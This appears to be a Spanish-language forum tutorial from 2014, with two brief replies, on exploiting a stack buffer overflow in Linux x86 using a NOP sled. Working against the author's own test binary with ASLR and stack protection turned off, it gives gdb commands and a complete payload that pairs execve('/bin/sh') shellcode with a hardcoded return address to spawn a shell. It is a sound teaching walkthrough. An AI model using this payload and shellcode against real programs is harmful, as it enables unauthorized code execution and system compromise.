comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Desbordando el buffer en linux x86 (II) [NOP Sled]

  • 2 Respuestas
  • 2061 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Septiembre 08, 2014, 11:16:35 pm »


En el anterior post You are not allowed to view links. Register or Login se hizo una pequeña introduccion al funcionamiento del stack y a los registros del procesador, ademas se logro modificar el flujo de datos de un programa para que atente a una funcion que no habia sido llamada.

En este nuevo apartado se vera como inyectar un shellcode en la memoria para lograr ejecutar codigo a travez del desbordamiento.

Para el poc se va a utlizar el mismo source que la vez pasada salvo que el buffer aumentara su tamaño a 500 bytes.
Seguimos lo mismos pasos que en el paper anterior.

Desactivamos ASLR

Código: Bash
  1. echo 0 > /proc/sys/kernel/randomize_va_space

y compilamos

Código: Bash
  1. gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c

Abrimos gdb y arrancamos por pasarle 506 caracteres

Código: Bash
  1. run $(python -c 'print "\x41"*506')





Ya vemos como se va llenando el EIP

Agregamos 2 mas y lo terminamos de completar.

Código: Bash
  1. run $(python -c 'print "\x41"*508')




Ahora bien hasta aca todo perfecto, ahora tenemos que buscar donde poder incrustar el shellcode.

Un shellcode no es mas que un conjunto de instrucciones en ensamblador programado para una tarea especifica, el shellcode que se vera a continuacion nos dara una sesion sh en el sistema. Como dije anteriormente una vez que pasamos el tamaño limite del buffer, los datos comienzan a escribirse en los demas registros, entonces vamos a ver en que otro lugar se mandaron las A's, si le echamos una ojeada al registro ESP.

Código: Bash
  1. x/100x $esp

El anterior comando nos mostrara 100 direcciones dentro de ESP



Se puede ver que parte del buffer se ha inyectado al registro, perfect!
Ahora solamente tenenemos que buscar/generar un shellcode acorde a nuestra arquitectura y OS

Podriamos generarlo con metasploit, pero para este apartado voy a utilizar uno que encontre en shell-storm

You are not allowed to view links. Register or Login

Código: Text
  1. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

El shellcode tiene un tamaño de 23 bytes por le que le restamos la long al buffer-4 bytes pertenecientes al EIP y lo incluimos dentro del payload

Quedando asi

508 NOPS - 4 bytes (EIP) =504

504 NOPS - 23 bytes (SHELLCODE) = 481 NOPS

Payload= \x90*481+shellcode(23)+EIP(4)

En este punto paso a explicar algo, por que reemplaze \x41 por \x90?

\x90 es un NOP (no operacion), un NOP es una instruccion en ensamblador que simplemente no hace nada y nos servira como puente al shellcode que se escribe despues de esta.

Ahora miremos como quedo el ESP luego de inyectar el payload, para esta ejecucion reemplaze el EIP por \x42=B.

Código: Bash
  1. run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x42"*4')

Código: Bash
  1. x/100x $esp



En el recuadro verde vemos como se colaron los NOPS y en el rojo se ve como empieza a filtrarse el shellcode.

Ahora lo unico que tenemos que hacer es indicar en el EIP cualquier direccion de memoria en donde se hayan alojado los NOPS



Usaremos esta : 0xbffffc70

La invertimos, inyectamos y esperamos la shell!

Código: Bash
  1. run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x70\xfc\xff\xbf"')



Hasta el momento se vio como explotar satisfactoriamente el desbordamiento, desactivando previamente ASLR para el proximo se vera una forma de bypassear ese sistema de seguridad. saludos!
« Última modificación: Septiembre 09, 2014, 01:41:17 am por [Q]3rV[0] »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Septiembre 09, 2014, 12:06:15 am »
Grande Cuervo!!
Está excelente!!
Se viene una tercera parte??

Saludos!
ANTRAX


Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #2 en: Septiembre 28, 2014, 12:15:51 pm »
Felicidades [Q]3rV[0], bien explicado.
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

 

¿Te gustó el post? COMPARTILO!



Vulnerabilidad en Kali Linux Sana 2.0 CVE-2015-2008 Auditoria Omar Rodriguez

Iniciado por DaRK UnLiMiTeD

Respuestas: 0
Vistas: 2510
Último mensaje Septiembre 28, 2015, 10:37:40 pm
por DaRK UnLiMiTeD
Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux

Iniciado por BrowserNet

Respuestas: 5
Vistas: 3339
Último mensaje Diciembre 26, 2016, 03:44:26 am
por Dr4g0n4Y
Nelson.c Local Root Linux Kernel <= 2.6.37

Iniciado por hdbreaker

Respuestas: 0
Vistas: 2892
Último mensaje Junio 22, 2012, 10:10:00 pm
por hdbreaker
Rooteando servidor linux Kernel 2.6.18-194 (Rooting)

Iniciado por andrewtwo

Respuestas: 1
Vistas: 2329
Último mensaje Septiembre 28, 2012, 05:47:27 pm
por Sanko
Rooteando Servidores Linux By:messerschmitt

Iniciado por RooT_Shell

Respuestas: 2
Vistas: 1997
Último mensaje Junio 25, 2010, 08:22:07 pm
por h4ck3r